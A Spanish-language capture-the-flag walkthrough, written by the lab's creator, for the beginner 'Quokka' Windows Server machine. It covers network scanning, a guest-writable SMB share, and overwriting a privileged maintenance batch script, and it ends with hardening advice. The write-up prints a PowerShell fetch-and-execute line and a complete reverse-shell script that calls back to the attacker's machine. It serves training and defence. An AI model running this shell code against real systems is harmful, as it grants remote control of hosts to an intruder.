TheHackerLabs - Principiante : [Quokka]
Introducción
Bienvenidos al desafío “Quokka”, un CTF de nivel principiante en el que se exploran vulnerabilidades en IIS y Samba en un entorno de Windows Server. En este reto, los jugadores deben analizar servicios básicos y comprender la infraestructura para lograr su objetivo.
🌐 Web oficial del CTF: TheHackersLabs - Quokka
Obteniendo Información
Paso 1: Obtenemos IP
Iniciamos con arp-scan
para identificar la dirección IP de la máquina objetivo dentro de nuestra red local:
1
2
3
──(oscar㉿kali)-[~]
└─$ sudo arp-scan -I eth0 --localnet | grep -i "08:00:27:c7:7e:d7"
192.168.1.48 08:00:27:c7:7e:d7 (Unknown)
Paso 2: Escaneo de Puertos y Servicios
Realizamos un escaneo completo de puertos y servicios utilizando nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(oscar㉿kali)-[~]
└─$ sudo nmap -sSCV -p- -Pn -n --min-rate 5000 192.168.1.48
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Portfolio y Noticias Tech de Quokka
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:C7:7E:D7 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
El escaneo reveló un servidor IIS y un servicio Samba.
Análisis de IIS
Al acceder al servidor en el puerto 80, encontramos un portal de tipo blog, con entradas sobre tecnología. No parecen tener ningún vínculo significativo, pero al observar los detalles, notamos algo interesante:
Una de las entradas menciona que los encargados del proyecto “Quokka”, Daniel y Luis, deben revisar un servicio secundario con privilegios. Curiosamente, estos nombres coinciden con los usuarios en la sección de contacto del portal. Aunque IIS no parece tener vulnerabilidades aquí, esta pista sugiere que podría haber algo en el servicio Samba.
Análisis de Samba
Exploración de Carpetas Compartidas
Probamos con un comando básico de netexec
usando las credenciales de guest
para ver los recursos compartidos:
1
netexec smb 192.168.1.48 -u 'guest' -p '' --shares
Salida:
1
2
3
4
5
6
7
8
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [*] Windows Server 2022 Build 20348 x64 (name:WIN-BFBAV3DDG0N) (domain:WIN-BFBAV3DDG0N) (signing:False) (SMBv1:False)
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [+] WIN-BFBAV3DDG0N\guest: (Guest)
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N [*] Enumerated shares
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N Share Permissions Remark
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N ADMIN$ Admin remota
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N C$ Recurso predeterminado
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N IPC$ READ IPC remota
SMB 192.168.1.48 445 WIN-BFBAV3DDG0N Shared READ,WRITE
El blog tenía razón: guest
tiene acceso de lectura y escritura en C:\Shared
. A continuación, listamos la estructura de carpetas que encontramos en Samba:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
C:\Shared\
│
├── Documentación\
│ ├── Informe_Proyecto.pdf
│ ├── Diagrama_Flujo.pptx
│ ├── Procedimientos\
│ │ ├── Backup_Policy.txt
│ │ ├── Plan_Recuperacion.docx
│ │ └── Instrucciones_Reinicio.docx
│ ├── Archivos_Antiguos\
│ │ ├── Antiguo_Informe.docx
│ │ ├── README.txt
│ │ └── Cambios_2022.txt
│ └── Configuraciones\
│ ├── Config_Servidores.xlsx
│ ├── FTP_Configuracion.txt
│ └── Config_Red.docx
│
├── Proyectos\
│ ├── Quokka\
│ │ ├── Diseño\
│ │ │ ├── Wireframe_Quokka.jpg
│ │ │ ├── Quokka_Logo.psd
│ │ │ └── Assets\
│ │ │ ├── Iconos\
│ │ │ └── Imágenes\
│ │ ├── Código\
│ │ │ ├── index.html
│ │ │ ├── mantenimiento.bat (Vulnerabilidad Oculta)
│ │ │ └── README.md
│ │ ├── Documentación_Interna.docx
│ │ └── Manual_Quokka.pdf
│ ├── Proyecto_X\
│ │ ├── README.txt
│ │ ├── Esquema_Funcionalidad.pptx
│ │ └── Código\
│ │ ├── app.py
│ │ └── config.yaml
│ └── Proyecto_Antiguo\
│ ├── Informe_Final_2020.pdf
│ ├── Resultados.xlsx
│ └── Plan_Migración.docx
│
└── Logs\
├── Accesos\
│ ├── Acceso_2023.txt
│ └── Acceso_2022.txt
├── Backups\
│ ├── Backup_01_2023.log
│ ├── Backup_02_2023.log
│ └── Backup_03_2023.log
└── Fallos_Sistema\
├── Error_01.log
└── Error_02.log
Conexión a Samba
Usamos smbclient
para conectarnos al recurso compartido Shared
:
1
2
3
┌──(oscar㉿kali)-[~]
└─$ smbclient -U guest% //192.168.1.48/Shared
smb: \> ls
Después de listar las carpetas, navegamos hacia el directorio Proyectos\Quokka\Código
, donde encontramos el script mantenimiento.bat
:
1
2
smb: \Proyectos\Quokka\Código\> ls
mantenimiento.bat
Explotación del Script Vulnerable
Análisis del Archivo
Al descargar y analizar el archivo mantenimiento.bat
, encontramos comentarios sospechosos:
1
:: Pista: Este script se ejecuta con permisos elevados. Seguro que no hay nada más?
El archivo tiene permisos elevados, y podemos modificarlo.
Modificación del Script
Sustituimos el contenido del archivo mantenimiento.bat
para ejecutar una reverse shell de PowerShell:
1
2
3
4
5
6
7
@echo off
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"
:: Fin del script
exit
Creación del Archivo shell.ps1
Creamos el script shell.ps1
que contendrá el código de la reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.36", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close()
Nos ponemos en escucha con nc
en el puerto 4444 y levantamos un servidor web en Python para servir el archivo shell.ps1
.
Conclusión
En este laboratorio, hemos explotado vulnerabilidades en IIS y Samba para obtener acceso a un sistema Windows Server. Las vulnerabilidades clave incluían una configuración incorrecta en el servicio Samba, permitiendo el acceso de guest
con permisos de lectura y escritura, y la posibilidad de modificar un script de mantenimiento con permisos elevados. Esto nos permitió inyectar un reverse shell para ganar control sobre la máquina.
Para evitar ser víctimas de estas vulnerabilidades, es fundamental:
- Configurar adecuadamente los permisos de acceso a recursos compartidos y restringir el acceso de cuentas como
guest
. - Auditar y proteger los scripts de mantenimiento, especialmente aquellos que se ejecutan con permisos elevados.
- Mantener el sistema y sus servicios actualizados con los últimos parches de seguridad.
Agradecimientos
Soy el creador de este laboratorio. Es mi primera máquina Windows, y he aprendido mucho en el proceso. Gracias, como siempre, a 🌐 TheHackersLabs por su inspiración y apoyo en la comunidad de CTF. ¡Espero que disfruten resolviendo este desafío tanto como yo disfruté creándolo!